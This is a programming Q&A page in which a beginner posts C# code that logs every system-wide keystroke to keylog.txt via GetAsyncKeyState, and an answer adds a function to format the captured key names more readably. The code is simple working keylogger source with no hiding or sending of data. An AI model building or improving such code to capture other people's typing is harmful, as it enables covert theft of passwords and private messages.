Search code examples
c#keystrokeformatted

Get keystrokes formatted


I'm new and still learning about C#

I have this simple code (I got from a website) that captures the keystrokes and saves it in a file:

[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);

public Form1()
{
    InitializeComponent();
    timer1.Tick += new EventHandler(timer1_Tick);
    timer1.Start();
}

string text = "";
void timer1_Tick(object sender, EventArgs e)
{
    string buffer = "";
    foreach (Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
            buffer += Enum.GetName(typeof(Keys), i);
    }
    text += buffer;
    if (text.Length > 10)
    {
        WriteToText(text);
        text = "";
    }

}

private void WriteToText(string value)
{
    StreamWriter stream = new StreamWriter("keylog.txt",true);
    stream.Write(value);
    stream.Close();
}

It works, however, the text in the keylog.txt is something like this: D1D2D3D4D5D6LButtonRButtonSpaceSpaceASD0emcomma0emPeriodSemicolon etc...
But what I want is just like this (formatted or arranged):
123456[LeftClick][RightClick] ASD,.;

How can I do like that? What code should I add?


Solution

  • You can add another function to rename all the keys:

    string RenameKey(string keyName)
    {
        switch(keyName)
        {
            case "LClick":
                return "[LeftClick]";
                break;
            case "RClick":
                return "[RightClick]";
                break;
            default:
                return keyName;
        }
    }
    

    Or be lazy, like me:

    string RenameKey(string keyName)
    {
        if(keyName.Length > 1) return "[" + keyName + "]";
        return keyName;
    }
    

    Just change the method on top to use this function:

    void timer1_Tick(object sender, EventArgs e)
    {
        string buffer = "";
        foreach (Int32 i in Enum.GetValues(typeof(Keys)))
        {
            if(GetAsyncKeyState(i) == -32767)
                buffer += RenameKey(Enum.GetName(typeof(Keys), i));
        }
        text += buffer;
        if (text.Length > 10)
        {
            WriteToText(text);
            text = "";
        }
    
    }
    

    It is the line that says:

    buffer += RenameKey(Enum.GetName(typeof(Keys), i));